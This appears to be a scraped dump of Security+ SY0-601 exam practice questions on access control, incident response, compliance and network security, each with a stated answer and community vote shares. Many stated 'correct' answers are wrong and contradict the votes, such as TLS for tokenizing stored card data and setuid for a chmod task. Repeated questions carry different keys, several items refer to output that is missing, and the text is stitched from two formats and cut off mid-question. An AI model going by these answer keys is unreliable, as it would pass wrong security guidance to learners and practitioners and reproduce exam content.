Community vote distribution

D (100%)

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Question #186 Topic 1

A company is moving its retail website to a public cloud provider. The company wants to tokenize credit card data but not allow the cloud provider
to see the stored credit card information. Which of the following would BEST meet these objectives?

A. WAF

B. CASB Most Voted

C. VPN

D. TLS

Correct Answer: D

Community vote distribution

B (87%) 13%

Question #187 Topic 1

A security analyst is tasked with defining the "something you are" factor of the company's MFA settings. Which of the following is BEST to use to
complete the configuration?

A. Gait analysis

B. Vein Most Voted

C. Soft token

D. HMAC-based, one-time password

Correct Answer: B

Community vote distribution

B (100%)

Question #188 Topic 1

Which of the following processes will eliminate data using a method that will allow the storage device to be reused after the process is complete?

A. Pulverizing

B. Overwriting Most Voted

C. Shredding

D. Degaussing

Correct Answer: B

Community vote distribution

B (93%) 7%

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Question #189 Topic 1

A user's account is constantly being locked out. Upon further review, a security analyst found the following in the SIEM:

Which of the following describes what is occurring?

A. An attacker is utilizing a password-spraying attack against the account.

B. An attacker is utilizing a dictionary attack against the account.

C. An attacker is utilizing a brute-force attack against the account. Most Voted

D. An attacker is utilizing a rainbow table attack against the account.

Correct Answer: C

Community vote distribution

C (91%) 9%

Question #190 Topic 1

A web server has been compromised due to a ransomware attack. Further investigation reveals the ransomware has been in the server for the
past 72 hours. The systems administrator needs to get the services back up as soon as possible. Which of the following should the administrator
use to restore services to a secure state?

A. The last incremental backup that was conducted 72 hours ago Most Voted

B. The last known-good configuration Most Voted

C. The last full backup that was conducted seven days ago Most Voted

D. The baseline OS configuration

Correct Answer: A

Community vote distribution

C (56%) A (23%) B (21%)

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Question #191 Topic 1

A network engineer created two subnets that will be used for production and development servers. Per security policy production and
development servers must each have a dedicated network that cannot communicate with one another directly. Which of the following should be
deployed so that server administrators can access these devices?

A. VLANs

B. Internet proxy servers

C. NIDS

D. Jump servers Most Voted

Correct Answer: A

Community vote distribution

D (88%) 12%

Question #192 Topic 1

A social media company based in North America is looking to expand into new global markets and needs to maintain compliance with
international standards.
With which of the following is the company's data protection officer MOST likely concerned?

A. NIST Framework

B. ISO 27001 Most Voted

C. GDPR

D. PCI-DSS

Correct Answer: A

Community vote distribution

B (70%) C (30%)

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Question #193 Topic 1

A security architect is required to deploy to conference rooms some workstations that will allow sensitive data to be displayed on large screens.
Due to the nature of the data, it cannot be stored in the conference rooms. The file share is located in a local data center. Which of the following
should the security architect recommend to BEST meet the requirement?

A. Fog computing and KVMs

B. VDI and thin clients Most Voted

C. Private cloud and DLP

D. Full drive encryption and thick clients

Correct Answer: B

Community vote distribution

B (100%)

Question #194 Topic 1

A Chief Information Security Officer wants to ensure the organization is validating and checking the integrity of zone transfers. Which of the
following solutions should be implemented?

A. DNSSEC Most Voted

B. LDAPS

C. NGFW

D. DLP

Correct Answer: A

Community vote distribution

A (100%)

Question #195 Topic 1

Which of the following controls is used to make an organization initially aware of a data compromise?

A. Protective

B. Preventative

C. Corrective

D. Detective Most Voted

Correct Answer: D

Community vote distribution

D (89%) 11%

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Question #196 Topic 1

An annual information security assessment has revealed that several OS-level configurations are not in compliance due to outdated hardening
standards the company is using. Which of the following would be BEST to use to update and reconfigure the OS-level security configurations?

A. CIS benchmarks Most Voted

B. GDPR guidance

C. Regional regulations

D. ISO 27001 standards

Correct Answer: A

Community vote distribution

A (100%)

Question #197 Topic 1

A company acquired several other small companies. The company that acquired the others is transitioning network services to the cloud. The
company wants to make sure that performance and security remain intact. Which of the following BEST meets both requirements?

A. High availability

B. Application security

C. Segmentation Most Voted

D. Integration and auditing Most Voted

Correct Answer: D

Community vote distribution

D (42%) C (41%) A (17%)

Question #198 Topic 1

After a recent external audit, the compliance team provided a list of several non-compliant, in-scope hosts that were not encrypting cardholder
data at rest. Which of the following compliance frameworks would address the compliance team's GREATEST concern?

A. PCI DSS Most Voted

B. GDPR

C. ISO 27001

D. NIST CSF

Correct Answer: A

Community vote distribution

A (100%)

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Question #199 Topic 1

A security analyst is receiving several alerts per user and is trying to determine if various logins are malicious. The security analyst would like to
create a baseline of normal operations and reduce noise. Which of the following actions should the security analyst perform?

A. Adjust the data flow from authentication sources to the SIEM.

B. Disable email alerting and review the SIEM directly.

C. Adjust the sensitivity levels of the SIEM correlation engine.

D. Utilize behavioral analysis to enable the SIEM's learning mode. Most Voted

Correct Answer: B

Community vote distribution

D (85%) C (15%)

Question #200 Topic 1

Which of the following is the MOST effective way to detect security flaws present on third-party libraries embedded on software before it is
released into production?

A. Employ different techniques for server- and client-side validations

B. Use a different version control system for third-party libraries

C. Implement a vulnerability scan to assess dependencies earlier on SDLC Most Voted

D. Increase the number of penetration tests before software release

Correct Answer: D

Community vote distribution

C (90%) 10%

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Question #201 Topic 1

Which of the following prevents an employee from seeing a colleague who is visiting an inappropriate website?

A. Job rotation policy

B. NDA

C. AUP Most Voted

D. Separation of duties policy Most Voted

Correct Answer: C

Community vote distribution

C (59%) D (36%) 5%

Question #202 Topic 1

A user reports falling for a phishing email to an analyst. Which of the following system logs would the analyst check FIRST?

A. DNS Most Voted

B. Message gateway Most Voted

C. Network

D. Authentication

Correct Answer: A

Community vote distribution

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Question #203 Topic 1

An attacker has determined the best way to impact operations is to infiltrate third-party software vendors. Which of the following vectors is being
exploited?

A. Social media

B. Cloud

C. Supply chain Most Voted

D. Social Engineering

Correct Answer: C

Community vote distribution

C (89%) 11%

Question #204 Topic 1

An organization would like to give remote workers the ability to use applications hosted inside the corporate network. Users will be allowed to use
their personal computers, or they will be provided organization assets. Either way, no data or applications will be installed locally on any user
systems. Which of the following mobile solutions would accomplish these goals?

A. VDI Most Voted

B. MDM

C. COPE

D. UTM

Correct Answer: B

Community vote distribution

A (94%) 6%

Question #205 Topic 1

Which of the following is used to ensure that evidence is admissible in legal proceedings when it is collected and provided to the authorities?

A. Chain of custody Most Voted

B. Legal hold

C. Event log

D. Artifacts

Correct Answer: A

Community vote distribution

A (90%) 10%

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Question #206 Topic 1

The Chief Information Security Officer (CISO) of a bank recently updated the incident response policy. The CISO is concerned that members of the
incident response team do not understand their roles. The bank wants to test the policy but with the least amount of resources or impact. Which
of the following BEST meets the requirements?

A. Warm site failover

B. Tabletop walk-through Most Voted

C. Parallel path testing

D. Full outage simulation

Correct Answer: C

Community vote distribution

B (100%)

Question #207 Topic 1

Which of the following control types fixes a previously identified issue and mitigates a risk?

A. Detective

B. Corrective Most Voted

C. Preventative

D. Finalized

Correct Answer: C

Community vote distribution

B (86%) 14%

Question #208 Topic 1

An analyst is reviewing logs associated with an attack. The logs indicate an attacker downloaded a malicious file that was quarantined by the AV
solution. The attacker utilized a local non-administrative account to restore the malicious file to a new location. The file was then used by another
process to execute a payload.
Which of the following attacks did the analyst observe?

A. Privilege escalation

B. Request forgeries

C. Injection Most Voted

D. Replay attack

Correct Answer: C

Community vote distribution

C (91%) 9%

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Question #209 Topic 1

A security engineer must deploy two wireless routers in an office suite. Other tenants in the office building should not be able to connect to this
wireless network.
Which of the following protocols should the engineer implement to ensure the STRONGEST encryption?

A. WPS

B. WPA2 Most Voted

C. WAP

D. HTTPS

Correct Answer: B

Community vote distribution

B (90%) 10%

Question #210 Topic 1

An attacker browses a company's online job board attempting to find any relevant information regarding the technologies the company uses.
Which of the following BEST describes this social engineering technique?

A. Hoax

B. Reconnaissance Most Voted

C. Impersonation

D. Pretexting

Correct Answer: C

Community vote distribution

B (97%)

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Question #211 Topic 1

During an incident response process involving a laptop, a host was identified as the entry point for malware. The management team would like to
have the laptop restored and given back to the user. The cybersecurity analyst would like to continue investigating the intrusion on the host. Which
of the following would allow the analyst to continue the investigation and also return the laptop to the user as soon as possible?

A. dd Most Voted

B. memdump

C. tcpdump

D. head

Correct Answer: B

Community vote distribution

A (82%) Other

Question #212 Topic 1

An analyst is trying to identify insecure services that are running on the internal network. After performing a port scan, the analyst identifies that a
server has some insecure services enabled on default ports. Which of the following BEST describes the services that are currently running and the
secure alternatives for replacing them? (Choose three.)

A. SFTP, FTPS

B. SNMPv2, SNMPv3 Most Voted

C. HTTP, HTTPS Most Voted

D. TFTP, FTP

E. SNMPv1, SNMPv2

F. Telnet, SSH Most Voted

G. TLS, SSL

H. POP, IMAP

I. Login, rlogin

Correct Answer: BCF

Community vote distribution

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Question #213 Topic 1

A security analyst needs to produce a document that details how a security incident occurred, the steps that were taken for recovery, and how
future incidents can be avoided. During which of the following stages of the response process will this activity take place?

A. Recovery

B. Identification

C. Lessons learned Most Voted

D. Preparation

Correct Answer: C

Community vote distribution

C (100%)

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Question #214 Topic 1

An administrator is configuring a firewall rule set for a subnet to only access DHCP, web pages, and SFTP, and to specifically block FTP. Which of
the following would BEST accomplish this goal?

A. [Permission Source Destination Port]

Allow: Any Any 80 -

Allow: Any Any 443 -

Allow: Any Any 67 -

Allow: Any Any 68 -

Allow: Any Any 22 -

Deny: Any Any 21 -

Deny: Any Any Most Voted

B. [Permission Source Destination Port]

Allow: Any Any 80 -

Allow: Any Any 443 -

Allow: Any Any 67 -

Allow: Any Any 68 -

Deny: Any Any 22 -

Allow: Any Any 21 -

Deny: Any Any

C. [Permission Source Destination Port]

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Deny: Any Any 68 -

Deny: Any Any 21 -

Allow: Any Any

D. [Permission Source Destination Port]

Allow: Any Any 80 -

Allow: Any Any 443 -

Deny: Any Any 67 -

Allow: Any Any 68 -

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Allow: Any Any 21 -

Allow: Any Any

Correct Answer: A

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A (95%) 5%

Question #215 Topic 1

While investigating a recent security incident, a security analyst decides to view all network connections on a particular server. Which of the
following would provide the desired information?

A. arp

B. nslookup

C. netstat Most Voted

D. nmap

Correct Answer: C

Community vote distribution

C (100%)

Question #216 Topic 1

A company recently decided to allow its employees to use their personally owned devices for tasks like checking email and messaging via mobile
applications. The company would like to use MDM, but employees are concerned about the loss of personal data. Which of the following should
the IT department implement to BEST protect the company against company data loss while still addressing the employees’ concerns?

A. Enable the remote-wiping option in the MDM software in case the phone is stolen.

B. Configure the MDM software to enforce the use of PINs to access the phone. Most Voted

C. Configure MDM for FDE without enabling the lock screen.

D. Perform a factory reset on the phone before installing the company's applications.

Correct Answer: C

Community vote distribution

B (68%) A (32%)

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Question #217 Topic 1

The concept of connecting a user account across the systems of multiple enterprises is BEST known as:

A. federation. Most Voted

B. a remote access policy.

C. multifactor authentication.

D. single sign-on.

Correct Answer: A

Community vote distribution

A (100%)

Question #218 Topic 1

A user received an SMS on a mobile phone that asked for bank details. Which of the following social-engineering techniques was used in this
case?

A. SPIM

B. Vishing

C. Spear phishing

D. Smishing Most Voted

Correct Answer: D

Community vote distribution

D (100%)

Question #219 Topic 1

A company is working on mobile device security after a report revealed that users granted non-verified software access to corporate data. Which
of the following is the MOST effective security control to mitigate this risk?

A. Block access to application stores Most Voted

B. Implement OTA updates

C. Update the BYOD policy

D. Deploy a uniform firmware

Correct Answer: C

Community vote distribution

A (76%) C (20%) 4%

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Question #220 Topic 1

A security analyst needs to implement security features across smartphones, laptops, and tablets. Which of the following would be the MOST
effective across heterogeneous platforms?

A. Enforcing encryption

B. Deploying GPOs

C. Removing administrative permissions

D. Applying MDM software Most Voted

Correct Answer: A

Community vote distribution

D (94%) 6%

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Question #221 Topic 1

The new Chief Information Security Officer at a company has asked the security team to implement stronger user account policies. The new
policies require:

* Users to choose a password unique to their last ten passwords

* Users to not log in from certain high-risk countries

Which of the following should the security team implement? (Choose two.)

A. Password complexity

B. Password history Most Voted Most Voted

C. Geolocation Most Voted

D. Geofencing Most Voted

E. Geotagging

F. Password reuse

Correct Answer: BC

Community vote distribution

BD (66%) BC (32%)

Question #222 Topic 1

Which of the following is MOST likely to outline the roles and responsibilities of data controllers and data processors?

A. SSAE SOC 2 Most Voted

B. PCI DSS

C. GDPR Most Voted

D. ISO 31000

Correct Answer: C

Community vote distribution

C (52%) A (48%)

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Question #223 Topic 1

Which of the following is MOST likely to contain ranked and ordered information on the likelihood and potential impact of catastrophic events that
may affect business processes and systems, while also highlighting the residual risks that need to be managed after mitigating controls have
been implemented?

A. An RTO report

B. A risk register Most Voted

C. A business impact analysis

D. An asset value register

E. A disaster recovery plan

Correct Answer: C

Community vote distribution

B (92%) 6%

Question #224 Topic 1

A worldwide manufacturing company has been experiencing email account compromises. In one incident, a user logged in from the corporate
office in France, but then seconds later, the same user account attempted a login from Brazil. Which of the following account policies would BEST
prevent this type of attack?

A. Network location

B. Impossible travel time Most Voted

C. Geolocation

D. Geofencing

Correct Answer: B

Community vote distribution

B (94%) 6%

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Question #225 Topic 1

A new vulnerability in the SMB protocol on the Windows systems was recently discovered, but no patches are currently available to resolve the
issue. The security administrator is concerned that servers in the company’s DMZ will be vulnerable to external attack; however, the administrator
cannot disable the service on the servers, as SMB is used by a number of internal systems and applications on the LAN. Which of the following
TCP ports should be blocked for all external inbound connections to the DMZ as a workaround to protect the servers? (Choose two.)

A. 135

B. 139 Most Voted

C. 143

D. 161

E. 443

F. 445 Most Voted

Correct Answer: BF

Community vote distribution

BF (100%)

Question #226 Topic 1

A recent phishing campaign resulted in several compromised user accounts. The security incident response team has been tasked with reducing
the manual labor of filtering through all the phishing emails as they arrive and blocking the sender’s email address, along with other time-
consuming mitigation actions. Which of the following can be configured to streamline those tasks?

A. SOAR playbook Most Voted

B. MDM policy

C. Firewall rules

D. URL filter

E. SIEM data collection

Correct Answer: A

Community vote distribution

A (100%)

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Question #227 Topic 1

A user reports constant lag and performance issues with the wireless network when working at a local coffee shop. A security analyst walks the
user through an installation of Wireshark and gets a five-minute pcap to analyze. The analyst observes the following output:

Which of the following attacks does the analyst MOST likely see in this packet capture?

A. Session replay

B. Evil twin Most Voted

C. Bluejacking

D. ARP poisoning

Correct Answer: A

Community vote distribution

B (80%) A (20%)

Question #228 Topic 1

A security analyst is reviewing the following output from a system:

Which of the following is MOST likely being observed?

A. ARP poisoning

B. Man in the middle

C. Denial of service Most Voted

D. DNS poisoning

Correct Answer: C

Community vote distribution

C (100%)

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Question #229 Topic 1

Which of the following concepts BEST describes tracking and documenting changes to software and managing access to files and systems?

A. Version control Most Voted

B. Continuous monitoring

C. Stored procedures

D. Automation

Correct Answer: A

Community vote distribution

A (100%)

Question #230 Topic 1

A penetration tester is brought on site to conduct a full attack simulation at a hospital. The penetration tester notices a WAP that is hanging from
the drop ceiling by its cabling and is reachable. Which of the following recommendations would the penetration tester MOST likely make given this
observation?

A. Employ a general contractor to replace the drop-ceiling tiles.

B. Place the network cabling inside a secure conduit.

C. Secure the access point and cabling inside the drop ceiling. Most Voted

D. Utilize only access points that have internal antennas

Correct Answer: C

Community vote distribution

C (100%)

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Question #231 Topic 1

Which of the following techniques eliminates the use of rainbow tables for password cracking?

A. Hashing

B. Tokenization

C. Asymmetric encryption

D. Salting Most Voted

Correct Answer: D

Community vote distribution

D (100%)

Question #232 Topic 1

During a security assessment, a security analyst finds a file with overly permissive permissions. Which of the following tools will allow the analyst
to reduce the permissions for the existing users and groups and remove the set-user-ID bit from the file?

A. ls

B. chflags

C. chmod Most Voted

D. lsof

E. setuid

Correct Answer: C

Community vote distribution

C (100%)

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Question #233 Topic 1

A network administrator is concerned about users being exposed to malicious content when accessing company cloud applications. The
administrator wants to be able to block access to sites based on the AUP. The users must also be protected because many of them work from
home or at remote locations, providing on-site customer support. Which of the following should the administrator employ to meet these criteria?

A. Implement NAC.

B. Implement an SWG. Most Voted

C. Implement a URL filter.

D. Implement an MDM.

Correct Answer: B

Community vote distribution

B (93%) 3%

Question #234 Topic 1

A website developer is working on a new e-commerce website and has asked an information security expert for the most appropriate way to store
credit card numbers to create an easy reordering process. Which of the following methods would BEST accomplish this goal?

A. Salting the magnetic strip information

B. Encrypting the credit card information in transit

C. Hashing the credit card numbers upon entry

D. Tokenizing the credit cards in the database Most Voted

Correct Answer: B

Community vote distribution

D (100%)

Question #235 Topic 1

Which of the following supplies non-repudiation during a forensics investigation?

A. Dumping volatile memory contents first

B. Duplicating a drive with dd

C. Using a SHA-2 signature of a drive image Most Voted

D. Logging everyone in contact with evidence Most Voted

E. Encrypting sensitive data

Correct Answer: C

Community vote distribution

C (62%) D (38%)

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Question #236 Topic 1

A security analyst is tasked with classifying data to be stored on company servers. Which of the following should be classified as proprietary?

A. Customers’ dates of birth

B. Customers’ email addresses

C. Marketing strategies Most Voted

D. Employee salaries

Correct Answer: C

Community vote distribution

C (100%)

Question #237 Topic 1

Which of the following holds staff accountable while escorting unauthorized personnel?

A. Locks

B. Badges Most Voted

C. Cameras

D. Visitor logs Most Voted

Correct Answer: C

Community vote distribution

B (43%) D (41%) C (16%)

Question #238 Topic 1

An organization’s Chief Security Officer (CSO) wants to validate the business’s involvement in the incident response plan to ensure its validity and
thoroughness. Which of the following will the CSO MOST likely use?

A. An external security assessment

B. A bug bounty program

C. A tabletop exercise Most Voted

D. A red-team engagement

Correct Answer: C

Community vote distribution

C (65%) A (30%) 5%

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Question #239 Topic 1

Which of the following documents provides guidance regarding the recommended deployment of network security systems from the
manufacturer?

A. Cloud control matrix

B. Reference architecture Most Voted

C. NIST RMF

D. CIS Top 20

Correct Answer: D

Community vote distribution

B (91%) 9%

Question #240 Topic 1

During a recent security assessment, a vulnerability was found in a common OS. The OS vendor was unaware of the issue and promised to release
a patch within the next quarter. Which of the following BEST describes this type of vulnerability?

A. Legacy operating system

B. Weak configuration

C. Zero day Most Voted

D. Supply chain

Correct Answer: A

Community vote distribution

C (87%) 13%

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Question #: 291
Topic #: 1
[All SY0-601 Questions]
An organization regularly scans its infrastructure for missing security patches but is concerned
about hackers gaining access to the scanner's account. Which of the following would be BEST to
minimize this risk while ensuring the scans are useful?

• A. Require a complex, eight-character password that is updated every 90 days.

• B. Perform only non-intrusive scans of workstations.
• C. Use non-credentialed scans against high-risk servers.
• D. Log and alert on unusual scanner account logon times.

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Suggested Answer: D 🗳🗳

Community vote distribution

A (44%)
D (33%)
B (22%)

Question #: 292
Topic #: 1
[All SY0-601 Questions]
A security analyst wants to verify that a client-server (non-web) application is sending encrypted
traffic. Which of the following should the analyst use?

• A. openssl
• B. hping
• C. netcat
• D. tcpdump Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (67%)
A (33%)
Question #: 293
Topic #: 1
[All SY0-601 Questions]
A multinational organization that offers web-based services has datacenters that are located only
in the United States; however, a large number of its customers are in Australia, Europe, and China.
Payments for services are managed by a third party in the United Kingdom that specializes in
payment gateways. The management team is concerned the organization is not compliant with
privacy laws that cover some of its customers. Which of the following frameworks should the
management team follow?

• A. Payment Card Industry Data Security Standard

• B. Cloud Security Alliance Best Practices
• C. ISO/IEC 27032 Cybersecurity Guidelines
• D. General Data Protection Regulation Most Voted

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Suggested Answer: A 🗳🗳

Community vote distribution

D (86%)
14%

Question #: 294
Topic #: 1
[All SY0-601 Questions]
Which of the following is the correct order of volatility from MOST to LEAST volatile?

• A. Memory, temporary filesystems, routing tables, disk, network storage

• B. Cache, memory, temporary filesystems, disk, archival media
• C. Memory, disk, temporary filesystems, cache, archival media
• D. Cache, disk, temporary filesystems, network storage, archival media

Hide Answer
Suggested Answer: B 🗳🗳
Question #: 295
Topic #: 1
[All SY0-601 Questions]
After segmenting the network, the network manager wants to control the traffic between the
segments. Which of the following should the manager use to control the network traffic?

• A. A DMZ
• B. A VPN
• C. A VLAN
• D. An ACL Most Voted

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Suggested Answer: C 🗳🗳

Community vote distribution

D (85%)
C (15%)

Question #: 296
Topic #: 1
[All SY0-601 Questions]
Which of the following would be BEST for a technician to review to determine the total risk an
organization can bear when assessing a `cloud-first` adoption strategy?

• A. Risk matrix
• B. Risk tolerance
• C. Risk register
• D. Risk appetite Most Voted

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Suggested Answer: B 🗳🗳

Community vote distribution

D (68%)
B (21%)
11%

Question #: 297
Topic #: 1
[All SY0-601 Questions]
A bank detects fraudulent activity on user's account. The user confirms transactions completed
yesterday on the bank's website at https:/www.company.com. A security analyst then examines
the user's Internet usage logs and observes the following output:

Which of the following has MOST likely occurred?

• A. Replay attack
• B. SQL injection
• C. SSL stripping Most Voted
• D. Race conditions
Hide Answer
Suggested Answer: A 🗳🗳

Community vote distribution

C (82%)
A (18%)

Question #: 298
Topic #: 1
[All SY0-601 Questions]
An organization plans to transition the intrusion detection and prevention techniques on a critical
subnet to an anomaly-based system. Which of the following does the organization need to
determine for this to be successful?

• A. The baseline
• B. The endpoint configurations
• C. The adversary behavior profiles
• D. The IPS signatures

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Suggested Answer: A 🗳🗳

Community vote distribution

A (80%)
C (20%)

Question #: 299
Topic #: 1
[All SY0-601 Questions]
A developer is building a new portal to deliver single-pane-of-glass management capabilities to
customers with multiple firewalls. To improve the user experience, the developer wants to
implement an authentication and authorization standard that uses security tokens that contain
assertions to pass user information between nodes. Which of the following roles should the
developer configure to meet these requirements? (Choose two.)

• A. Identity processor
• B. Service requestor
• C. Identity provider Most Voted
• D. Service provider Most Voted
• E. Tokenized resource
• F. Notarized referral
Hide Answer
Suggested Answer: CE 🗳🗳

Community vote distribution

CD (100%)

Question #: 300
Topic #: 1
[All SY0-601 Questions]
A security analyst is hardening a network infrastructure. The analyst is given the following
requirements:

• Preserve the use of public IP addresses assigned to equipment on the core router.
• Enable "in transport" encryption protection to the web server with the strongest ciphers.

Which of the following should the analyst implement to meet these requirements? (Choose two.)

• A. Configure VLANs on the core router.

• B. Configure NAT on the core router. Most Voted
• C. Configure BGP on the core router.
• D. Enable AES encryption on the web server.
• E. Enable 3DES encryption on the web server.
• F. Enable TLSv2 encryption on the web server. Most Voted

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Suggested Answer: BF 🗳🗳

Community vote distribution

BF (70%)
CF (30%)

Question #: 302
Topic #: 1
[All SY0-601 Questions]
A company has been experiencing very brief power outages from its utility company over the last
few months. These outages only last for one second each time.
The utility company is aware of the issue and is working to replace a faulty transformer. Which of
the following BEST describes what the company should purchase to ensure its critical servers and
network devices stay online?

• A. Dual power supplies

• B. A UPS
• C. A generator
• D. A PDU

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 303
Topic #: 1
[All SY0-601 Questions]
To mitigate the impact of a single VM being compromised by another VM on the same hypervisor,
an administrator would like to utilize a technical control to further segregate the traffic. Which of
the following solutions would BEST accomplish this objective?

• A. Install a hypervisor firewall to filter east-west traffic

• B. Add more VLANs to the hypervisor network switches Most Voted
• C. Move exposed or vulnerable VMs to the DMZ
• D. Implement a Zero Trust policy and physically segregate the hypervisor servers

Hide Answer
Suggested Answer: A 🗳🗳
Reference:
https://blogs.vmware.com/networkvirtualization/2020/08/eliminate-traffic-hairpinning.html/
Community vote distribution
B (56%)
A (44%)

Question #: 304
Topic #: 1
[All SY0-601 Questions]
A security administrator is trying to determine whether a server is vulnerable to a range of attacks.
After using a tool, the administrator obtains the following output:
Which of the following attacks was successfully implemented based on the output?

• A. Memory leak
• B. Race conditions
• C. SQL injection
• D. Directory traversal Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 305
Topic #: 1
[All SY0-601 Questions]
A developer is concerned about people downloading fake malware-infected replicas of a popular
game. Which of the following should the developer do to help verify legitimate versions of the
game for users?

• A. Digitally sign the relevant game files

• B. Embed a watermark using steganography
• C. Implement TLS on the license activation server
• D. Fuzz the application for unknown vulnerabilities

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Suggested Answer: A 🗳🗳

Question #: 306
Topic #: 1
[All SY0-601 Questions]
A network engineer is troubleshooting wireless network connectivity issues that were reported by
users. The issues are occurring only in the section of the building that is closest to the parking lot.
Users are intermittently experiencing slow speeds when accessing websites and are unable to
connect to network drives. The issues appear to increase when laptop users return to their desks
after using their devices in other areas of the building. There have also been reports of users being
required to enter their credentials on web pages in order to gain access to them. Which of the
following is the MOST likely cause of this issue?

• A. An external access point is engaging in an evil-twin attack. Most Voted

• B. The signal on the WAP needs to be increased in that section of the building.
• C. The certificates have expired on the devices and need to be reinstalled.
• D. The users in that section of the building are on a VLAN that is being blocked by the
firewall

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 307
Topic #: 1
[All SY0-601 Questions]
During a security assessment, a security analyst finds a file with overly permissive permissions.
Which of the following tools will allow the analyst to reduce the permissions for the existing users
and groups and remove the set-user-ID bit from the file?

• A. ls
• B. chflags
• C. chmod Most Voted
• D. lsof
• E. setuid

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Suggested Answer: E 🗳🗳
Reference:
https://www.computerhope.com/jargon/s/setuid.htm#:~:text=Setuid%2C%20which%20stands%20
for%20set,certain%
20programs%20with%20escalated%20privileges
Community vote distribution
C (100%)

Question #: 308
Topic #: 1
[All SY0-601 Questions]
A new plug-and-play storage device was installed on a PC in the corporate environment. Which of
the following safeguards will BEST help to protect the PC from malicious files on the storage
device?

• A. Change the default settings on the PC Most Voted

• B. Define the PC firewall rules to limit access
• C. Encrypt the disk on the storage device
• D. Plug the storage device in to the UPS

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Suggested Answer: C 🗳🗳

Community vote distribution

A (100%)

Question #: 309
Topic #: 1
[All SY0-601 Questions]
A recent security assessment revealed that an actor exploited a vulnerable workstation within an
organization and has persisted on the network for several months. The organization realizes the
need to reassess its security strategy for mitigating risks within the perimeter. Which of the
following solutions would BEST support the organization's strategy?

• A. FIM
• B. DLP
• C. EDR Most Voted
• D. UTM Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (53%)
C (41%)
6%

Question #: 310
Topic #: 1
[All SY0-601 Questions]
A company recently experienced an attack during which its main website was directed to the
attacker's web server, allowing the attacker to harvest credentials from unsuspecting customers.
Which of the following should the company implement to prevent this type of attack from occurring
in the future?

• A. IPSec
• B. SSL/TLS
• C. DNSSEC Most Voted
• D. S/MIME

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Suggested Answer: C 🗳🗳

Community vote distribution

C (88%)
13%

Question #: 311
Topic #: 1
[All SY0-601 Questions]
A Chief Security Officer (CSO) has asked a technician to devise a solution that can detect
unauthorized execution privileges form the OS in both executable and data files and can work in
conjunction with proxies or UTM. Which of the following would BEST meet the CSO's
requirements?

• A. Fuzzing Most Voted

• B. Sandboxing Most Voted
• C. Static code analysis
• D. Code review

Hide Answer
Suggested Answer: A 🗳🗳
Reference:
https://www.techtarget.com/searchsecurity/definition/fuzz-testing
Community vote distribution
B (68%)
A (32%)

Question #: 312
Topic #: 1
[All SY0-601 Questions]
A company has discovered unauthorized devices are using its WiFi network, and it wants to harden
the access point to improve security. Which of the following configurations should an analyst
enable to improve security? (Choose two.)
• A. RADIUS Most Voted
• B. EAP-PEAP
• C. WPS
• D. WPA-TKIP
• E. SSL
• F. WPA2-PSK Most Voted

Hide Answer
Suggested Answer: AF 🗳🗳

Community vote distribution

AF (50%)
AB (40%)
10%

Question #: 313
Topic #: 1
[All SY0-601 Questions]
A security analyst is reviewing the following output from a system:

Which of the following is MOST likely being observed?

• A. ARP poisoning
• B. Man in the middle
• C. Denial of service
• D. DNS poisoning

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Suggested Answer: C 🗳🗳
Community vote distribution
C (100%)

Question #: 314
Topic #: 1
[All SY0-601 Questions]
The SIEM at an organization has detected suspicious traffic coming from a workstation in its
internal network. An analyst in the SOC investigates the workstation and discovers malware that is
associated with a botnet is installed on the device. A review of the logs on the workstation reveals
that the privileges of the local account were escalated to a local administrator. To which of the
following groups should the analyst report this real-world event?

• A. The NOC team

• B. The vulnerability management team
• C. The CIRT Most Voted
• D. The red team

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Suggested Answer: A 🗳🗳

Community vote distribution

C (100%)

Question #: 315
Topic #: 1
[All SY0-601 Questions]
A systems analyst is responsible for generating a new digital forensics chain-of-custody form.
Which of the following should the analyst include in this documentation? (Choose two.)

• A. The order of volatility Most Voted

• B. A CRC32 checksum
• C. The provenance of the artifacts Most Voted
• D. The vendor's name
• E. The date and time Most VotedMost Voted
• F. A warning banner

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Suggested Answer: CE 🗳🗳

Community vote distribution

CE (64%)
AE (36%)

Question #: 316
Topic #: 1
[All SY0-601 Questions]
Which of the following is MOST likely to contain ranked and ordered information on the likelihood
and potential impact of catastrophic events that may affect business processes and systems,
while also highlighting the residual risks that need to be managed after mitigating controls have
been implemented?

• A. An RTO report
• B. A risk register Most Voted
• C. A business impact analysis
• D. An asset value register
• E. A disaster recovery plan

Hide Answer
Suggested Answer: B 🗳🗳

Community vote distribution

B (89%)
11%

Question #: 317
Topic #: 1
[All SY0-601 Questions]
A network manager is concerned that business may be negatively impacted if the firewall in its
datacenter goes offline. The manager would like to implement a high availability pair to:

• A. decrease the mean time between failures.

• B. remove the single point of failure.
• C. cut down the mean time to repair.
• D. reduce the recovery time objective.

Hide Answer
Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)
Question #: 318
Topic #: 1
[All SY0-601 Questions]
Which of the following function as preventive, detective, and deterrent controls to reduce the risk
of physical theft? (Choose two.)

• A. Mantraps Most Voted

• B. Security guards Most Voted
• C. Video surveillance
• D. Fences
• E. Bollards
• F. Antivirus

Hide Answer
Suggested Answer: BC 🗳🗳

Community vote distribution

AB (71%)
14%
Other

Question #: 319
Topic #: 1
[All SY0-601 Questions]
A company wants to modify its current backup strategy to minimize the number of backups that
would need to be restored in case of data loss. Which of the following would be the BEST backup
strategy to implement?

• A. Incremental backups followed by differential backups

• B. Full backups followed by incremental backups
• C. Delta backups followed by differential backups
• D. Incremental backups followed by delta backups
• E. Full backups followed by differential backups Most Voted

Hide Answer
Suggested Answer: E 🗳🗳

Community vote distribution

E (91%)
9%
Question #: 320
Topic #: 1
[All SY0-601 Questions]
A security analyst reports a company policy violation in a case in which a large amount of sensitive
data is being downloaded after hours from various mobile devices to an external site. Upon further
investigation, the analyst notices that successful login attempts are being conducted with
impossible travel times during the same time periods when the unauthorized downloads are
occurring. The analyst also discovers a couple of WAPs are using the same SSID, but they have
non-standard DHCP configurations and an overlapping channel. Which of the following attacks is
being conducted?

• A. Evil twin Most Voted

• B. Jamming
• C. DNS poisoning
• D. Bluesnarfing
• E. DDoS

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 321
Topic #: 1
[All SY0-601 Questions]
An external forensics investigator has been hired to investigate a data breach at a large enterprise
with numerous assets. It is known that the breach started in the
